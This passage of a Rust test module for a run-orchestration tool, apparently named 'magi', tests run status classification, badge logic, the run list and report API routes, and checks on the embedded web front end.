21269        state.id = "20260922-090200-dead".to_owned();
21270        state.status = RunStatus::Reviewing;
21271        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21272            .expect("serialize list row");
21273        assert_eq!(row["status"], "reviewing");
21274        assert_eq!(row["display_status"], "stale");
21275        assert_eq!(row["live"], "dead", "{row}");
21276        assert!(!row["done"].as_bool().unwrap());
21277    }
21278
21279    #[test]
21280    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21281        use crate::run::Liveness::{Dead, Live, Unknown};
21282        let mut state = RunState::new(
21283            PathBuf::from("/repo/magi"),
21284            "main".to_owned(),
21285            "abc".to_owned(),
21286            "Review only".to_owned(),
21287            Config::default(),
21288        );
21289        for (status, parked, node, waiting, live, expected) in [
21290            (
21291                RunStatus::Judging,
21292                true,
21293                "github-text",
21294                false,
21295                Dead,
21296                "parked",
21297            ),
21298            (RunStatus::Judging, false, "park", false, Dead, "stale"),
21299            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21300            (
21301                RunStatus::Judging,
21302                true,
21303                "github-text",
21304                true,
21305                Dead,
21306                "waiting",
21307            ),
21308            (
21309                RunStatus::Judging,
21310                false,
21311                "github-text",
21312                true,
21313                Dead,
21314                "waiting",
21315            ),
21316            (
21317                RunStatus::Judging,
21318                false,
21319                "github-text",
21320                false,
21321                Dead,
21322                "stale",
21323            ),
21324            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21325            (RunStatus::Judging, true, "park", false, Live, "judging"),
21326            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21327            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21328            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21329            (
21330                RunStatus::Blocked,
21331                true,
21332                "github-text",
21333                true,
21334                Dead,
21335                "waiting",
21336            ),
21337        ] {
21338            state.status = status;
21339            state.parked = parked;
21340            state.events.clear();
21341            state.event(
21342                "park",
21343                "an earlier park does not determine the latest state",
21344            );
21345            state.event(node, "message is not used for classification");
21346            let summary = RunSummary::of(&state, waiting, live);
21347            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21348            assert_eq!(
21349                summary.display_status, expected,
21350                "{status:?}/{node}/{live:?}"
21351            );
21352            assert_eq!(detail.display_status, summary.display_status);
21353            assert_eq!(detail.waiting, summary.waiting);
21354        }
21355        state.status = RunStatus::Judging;
21356        state.parked = false;
21357        state.events.clear();
21358        assert_eq!(run_display_status(&state, false, Dead), "stale");
21359    }
21360
21361    #[test]
21362    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21363        use crate::run::Liveness::{Dead, Live, Unknown};
21364        let mut state = RunState::new(
21365            PathBuf::from("/repo/magi"),
21366            "main".to_owned(),
21367            "abc".to_owned(),
21368            "Badge".to_owned(),
21369            Config::default(),
21370        );
21371        for (status, waiting, live, superseded, expected) in [
21372            (RunStatus::Gating, false, Dead, false, "stale"),
21373            (RunStatus::Gating, false, Dead, true, "superseded"),
21374            (RunStatus::Gating, false, Unknown, true, "superseded"),
21375            (RunStatus::Gating, true, Dead, true, "superseded"),
21376            (RunStatus::Gating, true, Dead, false, "waiting"),
21377            (RunStatus::Gating, false, Unknown, false, "gating"),
21378            (RunStatus::Gating, false, Live, true, "gating"),
21379            (RunStatus::Gating, true, Live, true, "waiting"),
21380            (RunStatus::Merged, false, Dead, true, "merged"),
21381            (RunStatus::Blocked, false, Dead, true, "blocked"),
21382        ] {
21383            state.status = status;
21384            let display = run_display_status(&state, waiting, live);
21385            assert_eq!(
21386                run_badge_status(&state, &display, live, superseded),
21387                expected,
21388                "{status:?}/{live:?}/superseded={superseded}"
21389            );
21390        }
21391    }
21392
21393    #[test]
21394    fn summarize_and_detail_expose_badge_status() {
21395        use crate::run::Liveness::Dead;
21396        let mut state = RunState::new(
21397            PathBuf::from("/repo/magi"),
21398            "main".to_owned(),
21399            "abc".to_owned(),
21400            "Badge".to_owned(),
21401            Config::default(),
21402        );
21403        state.status = RunStatus::Gating;
21404        let none = HashSet::new();
21405        let id = state.id.clone();
21406        let mut by = HashMap::new();
21407        let rows = summarize(
21408            [state.clone()],
21409            &none,
21410            &none,
21411            &by,
21412            |_| Some(false),
21413            |_| None,
21414        );
21415        // No driver recorded: liveness is not provably dead, so the node stays.
21416        assert_eq!(rows[0].badge_status, rows[0].display_status);
21417        by.insert(id, "20260901-000000-913b".to_owned());
21418        let detail = RunDetailView::of(
21419            state.clone(),
21420            false,
21421            Dead,
21422            Some("913b".to_owned()),
21423            None,
21424            None,
21425        );
21426        assert_eq!(detail.badge_status, "superseded");
21427        let json = serde_json::to_value(&detail).unwrap();
21428        assert_eq!(json["badge_status"], "superseded");
21429        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21430        assert_eq!(detail.badge_status, "stale");
21431    }
21432
21433    #[tokio::test]
21434    async fn run_display_status_routes_share_the_open_question_store() {
21435        let f = Fixture::start().await;
21436        let id = "20260922-090200-abcd";
21437        write_run(&f.runs(), id, RunStatus::Judging);
21438        let mut state = read_run(&f.runs(), id).unwrap();
21439        state.parked = true;
21440        state.driver_exited = true;
21441        state.event("github-text", "waiting for the owner");
21442        state.save_under(f.home.path()).unwrap();
21443        let mut task = Task::new(
21444            "resumed task".to_owned(),
21445            "do it".to_owned(),
21446            PathBuf::from("/repo"),
21447            Source::Human,
21448        );
21449        task.runs = vec![id.to_owned(), id.to_owned()];
21450        f.queue().put(&mut task).unwrap();
21451        let store = f.questions();
21452        let mut q = Question::new(
21453            id.to_owned(),
21454            "github-text".to_owned(),
21455            "owner".to_owned(),
21456            "Approve the text?".to_owned(),
21457            String::new(),
21458            Vec::new(),
21459        );
21460        store.put(&mut q).unwrap();
21461        for expected in ["waiting", "parked"] {
21462            let list = f.get("/api/runs").await.json();
21463            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21464            assert_eq!(list[0]["display_status"], expected);
21465            assert_eq!(detail["display_status"], expected);
21466            assert_eq!(detail["waiting"], list[0]["waiting"]);
21467            assert_eq!(list[0]["badge_status"], expected);
21468            assert_eq!(detail["badge_status"], expected);
21469            assert!(list[0]["superseded_by"].is_null());
21470            assert!(detail["superseded_by"].is_null());
21471            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21472            let history = task_detail["history"].as_array().unwrap();
21473            assert_eq!(history.len(), 2);
21474            assert!(history[0]["badge"].is_null());
21475            assert_eq!(history[1]["badge"], expected);
21476            q.status = ask::QuestionStatus::Answered;
21477            store.put(&mut q).unwrap();
21478        }
21479    }
21480
21481    #[tokio::test]
21482    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21483        let f = Fixture::start().await;
21484        let id = "20260922-090200-abcd";
21485        write_run(&f.runs(), id, RunStatus::Judging);
21486        let mut state = read_run(&f.runs(), id).unwrap();
21487        state.parked = true;
21488        state.driver_exited = true;
21489        state.event("park", "stopped at a node boundary");
21490        state.save_under(f.home.path()).unwrap();
21491
21492        for expected in ["parked", "stale"] {
21493            let list = f.get("/api/runs").await.json();
21494            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21495            assert_eq!(list[0]["live"], "dead");
21496            assert_eq!(list[0]["display_status"], expected);
21497            assert_eq!(detail["display_status"], expected);
21498            // Model a driver claim followed by a crash before the next event:
21499            // the persisted flag changes, but the last event is still park.
21500            state.parked = false;
21501            state.save_under(f.home.path()).unwrap();
21502        }
21503    }
21504
21505    #[tokio::test]
21506    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21507        let f = Fixture::start().await;
21508        for id in [
21509            "20260902-140501-aaaa",
21510            "20260902-140502-bbbb",
21511            "20260902-140503-cccc",
21512        ] {
21513            write_run(&f.runs(), id, RunStatus::Merged);
21514        }
21515
21516        let all = f.get("/api/runs").await.json();
21517        let capped = f.get("/api/runs?limit=2").await.json();
21518
21519        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21520        assert_eq!(all.as_array().map(Vec::len), Some(3));
21521        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21522        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21523    }
21524
21525    #[tokio::test]
21526    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21527        let f = Fixture::start().await;
21528        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21529
21530        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21531
21532        assert_eq!(res.status, 200);
21533        assert!(
21534            res.headers
21535                .contains("content-type: text/plain; charset=utf-8"),
21536            "a browser must render it, not download it: {}",
21537            res.headers
21538        );
21539        // The assertion is on content, not on the absence of escapes: colour
21540        // is a process-global that `serve` turns off at startup, and another
21541        // test in this binary may own it while this one runs.
21542        assert!(
21543            res.body.contains("20260902-140501-a1b2"),
21544            "the report is about the run that was asked for: {}",
21545            res.body
21546        );
21547    }
21548
21549    #[tokio::test]
21550    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21551        // The view names the run's state directory, which reads the process-global home.
21552        crate::run::pin_test_home();
21553        let f = Fixture::start().await;
21554        let id = "20260902-140501-a1b2";
21555        write_run(&f.runs(), id, RunStatus::Stalled);
21556        // A stalled panel and one review round, written through the real
21557        // state file so the route reads what a run really leaves behind.
21558        let path = f.runs().join(id).join("run.json");
21559        let mut v: serde_json::Value =
21560            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21561        v["tally"] = serde_json::json!({
21562            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21563            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21564            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21565            "met_quorum": false, "rankings": 1
21566        });
21567        v["reviews"] = serde_json::json!([{
21568            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21569            "e2e_deferred": true,
21570            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21571                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21572            ]}]
21573        }]);
21574        std::fs::write(&path, v.to_string()).unwrap();
21575        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21576        std::fs::write(
21577            f.runs().join("20260902-140502-dead").join("run.json"),
21578            "{not json",
21579        )
21580        .unwrap();
21581
21582        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21583
21584        assert_eq!(res.status, 200, "{}", res.body);
21585        assert!(res.headers.contains("content-type: application/json"));
21586        let j = res.json();
21587        assert_eq!(j["schema"], 1);
21588        assert_eq!(j["header"]["id"], id);
21589        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21590        let kinds: Vec<&str> = j["sections"]
21591            .as_array()
21592            .unwrap()
21593            .iter()
21594            .map(|s| s["kind"].as_str().unwrap())
21595            .collect();
21596        assert_eq!(kinds, ["candidates", "tally", "review"]);
21597        let tally = &j["sections"][1]["tally"];
21598        assert_eq!(
21599            (tally["decided"].clone(), tally["provisional"].clone()),
21600            (false.into(), true.into())
21601        );
21602        let round = &j["sections"][2]["rounds"][0];
21603        assert_eq!(round["e2e"]["state"], "deferred");
21604        assert_eq!(round["findings"][0]["severity"], "major");
21605        assert_eq!(round["findings"][0]["blocking"], true);
21606        assert_eq!(round["findings"][0]["state"], "open");
21607
21608        // The raw route keeps working beside it.
21609        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21610
21611        // An unreadable run is an error, as on the text route, and is counted.
21612        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21613        assert_ne!(bad.status, 200, "{}", bad.body);
21614        assert_eq!(
21615            bad.status,
21616            f.get("/api/runs/20260902-140502-dead/report").await.status
21617        );
21618        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21619        assert_eq!(
21620            f.get("/api/runs/20260902-999999-ffff/report.json")
21621                .await
21622                .status,
21623            404
21624        );
21625    }
21626
21627    #[tokio::test]
21628    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21629        crate::run::pin_test_home();
21630        let f = Fixture::start().await;
21631        let id = "20260902-140501-a1b2";
21632        write_run(&f.runs(), id, RunStatus::Blocked);
21633        let path = f.runs().join(id).join("run.json");
21634        let mut v: serde_json::Value =
21635            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21636        v["sync_only_passes"] = serde_json::json!([{
21637            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21638            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21639            "head_before": "before-sha", "head_after": "after-sha",
21640            "result": "synchronized", "verification_allowed": false
21641        }]);
21642        std::fs::write(&path, v.to_string()).unwrap();
21643
21644        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21645        assert_eq!(res.status, 200, "{}", res.body);
21646        let json = res.json();
21647        let section = json["sections"]
21648            .as_array()
21649            .unwrap()
21650            .iter()
21651            .find(|s| s["key"] == "sync_only")
21652            .expect("base-only report section");
21653        let line = section["lines"][0].as_str().unwrap();
21654        assert!(line.contains("origin/main @ base-sha"), "{line}");
21655        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21656        assert!(line.contains("verification was not allowed"), "{line}");
21657    }
21658
21659    #[tokio::test]
21660    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21661        crate::run::pin_test_home();
21662        let f = Fixture::start().await;
21663        let id = "20260902-140505-facts";
21664        write_run(&f.runs(), id, RunStatus::Stalled);
21665        let path = f.runs().join(id).join("run.json");
21666        let mut v: serde_json::Value =
21667            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21668        v["candidates"] = serde_json::json!([{
21669            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21670            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21671        }]);
21672        v["tally"] = serde_json::json!({
21673            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21674            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21675            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21676            "met_quorum": false, "rankings": 1
21677        });
21678        v["quota"] = serde_json::json!([
21679            {
21680                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21681                "agent": "signed-out", "cause": "authentication"
21682            },
21683            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21684        ]);
21685        v["startup"] = serde_json::json!({
21686            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21687            "failure": "fetch refused\ncredentials expired"
21688        });
21689        v["recovery"] = serde_json::json!({
21690            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21691            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21692            "repair": {"started": {"before": "abcdef012345"}}
21693        });
21694        v["reviews"] = serde_json::json!([{
21695            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21696            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21697            "vote_split": true, "verdict": "approve_with_findings",
21698            "e2e": [{
21699                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21700            }],
21701            "reviews": [
21702                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21703                 "summary": "Initial **concern**.\n\nPlease inspect.",
21704                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21705                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21706            ],
21707            "reconsideration": [{
21708                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21709                "reason": "The blocker is resolved.\nOne minor issue remains."
21710            }]
21711        }]);
21712        v["merge_repairs"] = serde_json::json!([{
21713            "question": "question-42", "head": "abcdef012345",
21714            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21715            "gate": [], "phase": "Failed",
21716            "failure": "owner decision required\ninspect updated results"
21717        }]);
21718        v["bump_decision_attempts"] = serde_json::json!([
21719            {"agent": "first", "outcome": "unavailable"},
21720            {"agent": "second", "outcome": "patch\naccepted"}
21721        ]);
21722        v["release_bump"] = serde_json::json!({
21723            "version": "1.2.3", "local": true,
21724            "problem": "publish failed\nregistry refused",
21725            "release": {
21726                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21727                "failed": "registry refused\nawait owner approval",
21728                "log": [{
21729                    "name": "cargo publish", "code": 1,
21730                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21731                }]
21732            }
21733        });
21734        std::fs::write(&path, v.to_string()).unwrap();
21735
21736        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21737        assert_eq!(res.status, 200, "{}", res.body);
21738        let j = res.json();
21739        assert_eq!(j["schema"], 1);
21740        assert_eq!(j["header"]["tone"], "warn");
21741        assert_eq!(
21742            j["header"]["startup"],
21743            "review branch=topic stage=fetch complete=false"
21744        );
21745        assert_eq!(
21746            j["header"]["startup_failure"],
21747            "fetch refused\ncredentials expired"
21748        );
21749        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21750        assert_eq!(
21751            j["sections"][0]["items"][0]["detail"],
21752            "Already covered.\nNo patch needed."
21753        );
21754        assert_eq!(
21755            j["sections"][1]["tally"]["rate_limited"],
21756            serde_json::json!(["judge-1", "judge-2"])
21757        );
21758        let sections = j["sections"].as_array().unwrap();
21759        let labels: Vec<_> = sections
21760            .iter()
21761            .map(|section| {
21762                section["key"]
21763                    .as_str()
21764                    .or_else(|| section["kind"].as_str())
21765                    .unwrap()
21766            })
21767            .collect();
21768        assert_eq!(
21769            labels,
21770            [
21771                "candidates",
21772                "tally",
21773                "quota_details",
21774                "recovery",
21775                "review",
21776                "merge_repairs",
21777                "release_decision_attempts",
21778                "release_bump",
21779                "release_execution"
21780            ]
21781        );
21782        let note = |key: &str| {
21783            sections
21784                .iter()
21785                .find(|section| section["kind"] == "notes" && section["key"] == key)
21786                .unwrap()
21787        };
21788        let unavailable = note("quota_details");
21789        assert_eq!(unavailable["tone"], "warn");
21790        assert_eq!(
21791            unavailable["lines"],
21792            serde_json::json!([
21793                "judge-1 (signed-out: re-authenticate)",
21794                "judge-2 (usage limit)"
21795            ])
21796        );
21797        let recovery = note("recovery");
21798        assert_eq!(recovery["tone"], "warn");
21799        assert!(
21800            recovery["lines"][0]
21801                .as_str()
21802                .unwrap()
21803                .contains("head moved\nreview the new diff")
21804        );
21805        assert_eq!(
21806            recovery["lines"][1],
21807            "the task's own completion criteria were kept"
21808        );
21809        assert_eq!(recovery["lines"][2], "repair: unfinished");
21810        let review = sections
21811            .iter()
21812            .find(|section| section["kind"] == "review")
21813            .unwrap();
21814        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21815        let round = &review["rounds"][0];
21816        assert_eq!(round["verified_head"], "fedcba9");
21817        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21818        assert_eq!(round["status"], "incomplete");
21819        assert_eq!(round["e2e"]["state"], "pass");
21820        assert_eq!(round["reviewers"][0]["vote"], "reject");
21821        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21822        assert_eq!(
21823            round["reviewers"][0]["reason"],
21824            "Initial **concern**.\n\nPlease inspect."
21825        );
21826        assert!(
21827            !round["reviewers"][0]["reason_md"]
21828                .as_array()
21829                .unwrap()
21830                .is_empty()
21831        );
21832        assert!(round["reviewers"][1]["final_vote"].is_null());
21833        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21834        assert_eq!(
21835            round["reconsideration"][0]["reason"],
21836            "The blocker is resolved.\nOne minor issue remains."
21837        );
21838        assert!(
21839            !round["reconsideration"][0]["reason_md"]
21840                .as_array()
21841                .unwrap()
21842                .is_empty()
21843        );
21844        let repairs = note("merge_repairs");
21845        assert_eq!(repairs["tone"], "warn");
21846        assert_eq!(
21847            repairs["lines"][0],
21848            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21849        );
21850        assert_eq!(
21851            repairs["lines"][1],
21852            "held: owner decision required\ninspect updated results"
21853        );
21854        assert_eq!(
21855            repairs["lines"][2],
21856            "original [R1-1-1] Minor: Check edge case"
21857        );
21858        assert_eq!(
21859            repairs["lines"][3],
21860            "original reviewer #1: ApproveWithFindings"
21861        );
21862        assert_eq!(
21863            repairs["lines"][4],
21864            "Repair never approves a merge; updated results require a fresh owner decision."
21865        );
21866        let attempts = note("release_decision_attempts");
21867        assert_eq!(attempts["tone"], "neutral");
21868        assert_eq!(
21869            attempts["lines"],
21870            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21871        );
21872        let bump = sections
21873            .iter()
21874            .find(|section| section["kind"] == "release_bump")
21875            .unwrap();
21876        assert_eq!(bump["bump"]["automerge"], "local");
21877        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21878        assert_eq!(bump["tone"], "warn");
21879        let execution = note("release_execution");
21880        assert_eq!(execution["tone"], "warn");
21881        assert_eq!(
21882            execution["lines"][0],
21883            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21884        );
21885        assert_eq!(
21886            execution["lines"][1],
21887            "tag on remote: true; 1 command(s) completed"
21888        );
21889        assert_eq!(
21890            execution["lines"][2],
21891            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21892        );
21893
21894        // The original endpoint remains terminal text, including these same facts.
21895        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21896        assert_eq!(raw.status, 200);
21897        assert!(
21898            raw.headers
21899                .contains("content-type: text/plain; charset=utf-8")
21900        );
21901        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21902        assert!(raw.body.contains("Already covered."));
21903        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21904        assert!(raw.body.contains("judge-2 (usage limit)"));
21905        assert!(
21906            raw.body
21907                .contains("owner decision required\ninspect updated results")
21908        );
21909        assert!(raw.body.contains("2. second: patch\naccepted"));
21910        assert!(raw.body.contains(
21911            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21912        ));
21913
21914        // Historical records do not acquire invented startup or verification facts.
21915        let legacy_id = "20260902-140506-old";
21916        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21917        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21918        assert_eq!(legacy.status, 200, "{}", legacy.body);
21919        let legacy = legacy.json();
21920        assert!(legacy["header"]["startup"].is_null());
21921        assert!(legacy["header"]["startup_failure"].is_null());
21922        assert!(
21923            legacy["sections"]
21924                .as_array()
21925                .unwrap()
21926                .iter()
21927                .all(|section| section["kind"] != "notes")
21928        );
21929    }
21930
21931    #[tokio::test]
21932    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21933        crate::run::pin_test_home();
21934        let f = Fixture::start().await;
21935        let id = "20260902-140503-delib";
21936        write_run(&f.runs(), id, RunStatus::Merged);
21937        let path = f.runs().join(id).join("run.json");
21938        let mut v: serde_json::Value =
21939            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21940        v["judgements"] = serde_json::json!([
21941            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21942        ]);
21943        v["tally"] = serde_json::json!({
21944            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21945            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21946            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21947            "met_quorum": true, "rankings": 1
21948        });
21949        v["deliberation"] = serde_json::json!([
21950            {
21951                "round": 1,
21952                "turns": [
21953                    {
21954                        "judge": 1,
21955                        "agent": "judge-1",
21956                        "body": "I prefer candidate **A** because it has cleaner tests.",
21957                        "tentative": "A"
21958                    }
21959                ]
21960            },
21961            {
21962                "round": 2,
21963                "turns": [
21964                    {
21965                        "judge": 1,
21966                        "agent": "judge-1",
21967                        "body": "Still thinking, no choice yet.",
21968                        "tentative": null
21969                    }
21970                ]
21971            }
21972        ]);
21973        std::fs::write(&path, v.to_string()).unwrap();
21974
21975        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21976        assert_eq!(res.status, 200, "{}", res.body);
21977        let j = res.json();
21978        let judging = j["sections"]
21979            .as_array()
21980            .unwrap()
21981            .iter()
21982            .find(|s| s["kind"] == "judging")
21983            .expect("judging section exists");
21984
21985        // Existing summary lines remain intact
21986        let delib_lines = judging["deliberation"].as_array().unwrap();
21987        assert_eq!(delib_lines.len(), 2);
21988        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21989        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21990
21991        // rounds carry turn bodies, tentative and parsed body_md
21992        let rounds = judging["rounds"].as_array().unwrap();
21993        assert_eq!(rounds.len(), 2);
21994        let r1_t0 = &rounds[0]["turns"][0];
21995        assert_eq!(r1_t0["judge"], 1);
21996        assert_eq!(r1_t0["agent"], "judge-1");
21997        assert_eq!(r1_t0["tentative"], "A");
21998        assert_eq!(
21999            r1_t0["body"],
22000            "I prefer candidate **A** because it has cleaner tests."
22001        );
22002        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
22003
22004        let r2_t0 = &rounds[1]["turns"][0];
22005        assert_eq!(r2_t0["judge"], 1);
22006        assert_eq!(r2_t0["agent"], "judge-1");
22007        assert!(r2_t0["tentative"].is_null());
22008        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
22009        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
22010
22011        // A run with empty deliberation array yields empty rounds
22012        let id_empty = "20260902-140504-nodelib";
22013        write_run(&f.runs(), id_empty, RunStatus::Merged);
22014        let path_empty = f.runs().join(id_empty).join("run.json");
22015        let mut v_empty: serde_json::Value =
22016            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
22017        v_empty["judgements"] = serde_json::json!([
22018            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22019        ]);
22020        v_empty["deliberation"] = serde_json::json!([]);
22021        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
22022
22023        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
22024        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
22025        let j_empty = res_empty.json();
22026        let judging_empty = j_empty["sections"]
22027            .as_array()
22028            .unwrap()
22029            .iter()
22030            .find(|s| s["kind"] == "judging")
22031            .expect("judging section exists");
22032        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
22033    }
22034
22035    #[tokio::test]
22036    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
22037        let f = Fixture::start().await;
22038
22039        let html = f.get("/").await;
22040        let css = f.get("/app.css").await;
22041        let js = f.get("/app.js").await;
22042
22043        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
22044        assert!(
22045            html.headers
22046                .contains("content-type: text/html; charset=utf-8")
22047        );
22048        assert!(css.headers.contains("content-type: text/css"));
22049        assert!(js.headers.contains("content-type: text/javascript"));
22050        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22051    }
22052
22053    #[test]
22054    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22055        let body = |name: &str| {
22056            let at = APP_JS
22057                .find(name)
22058                .unwrap_or_else(|| panic!("{name} missing"));
22059            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22060        };
22061        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22062        let note = body("function landRoundNote");
22063        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22064        assert!(note.contains("Land round ${round}"));
22065        let land = body("function renderLand");
22066        let note_at = land
22067            .find("landRoundNote(pr)")
22068            .expect("renderLand uses the note");
22069        assert!(
22070            note_at
22071                < land
22072                    .find("roundRail(pr)")
22073                    .expect("renderLand uses the rail")
22074        );
22075    }
22076
22077    #[test]
22078    fn the_runs_page_redesign_keeps_its_guards() {
22079        let body = |name: &str| {
22080            let at = APP_JS
22081                .find(name)
22082                .unwrap_or_else(|| panic!("{name} missing"));
22083            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22084        };
22085        // A null child must never reach the native append (it prints "null").
22086        let land = body("function renderLand");
22087        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22088        assert!(
22089            !land.contains("box.append("),
22090            "renderLand must use append()"
22091        );
22092        assert!(land.contains("append(box, ["));
22093        // Tabs are hash routes; the run id alone decides a reload.
22094        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
22095        assert!(
22096            body("function applyRoute")
22097                .contains("route.name !== state.route.name || route.id !== state.route.id")
22098        );
22099        // The decorative diagram is gone, the strip and its guards stay.
22100        assert!(!APP_JS.contains("adviseConvergeDiagram"));
22101        assert!(!INDEX_HTML.contains("advise-converge"));
22102        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22103        assert!(APP_JS.contains("provisional"));
22104        for id in [
22105            "run-tab-overview",
22106            "run-tab-timeline",
22107            "run-tab-report",
22108            "run-report",
22109            "runs-scope",
22110        ] {
22111            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22112        }
22113        assert!(!INDEX_HTML.contains("runs-tree"));
22114        assert!(!INDEX_HTML.contains("run-raw-panel"));
22115        // Fold still says it cannot be resumed.
22116        assert!(APP_JS.contains("resume"));
22117        // The unreadable-runs count stays on the page.
22118        assert!(APP_JS.contains("unreadable"));
22119    }
22120
22121    #[test]
22122    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22123        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22124        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22125        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
22126        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
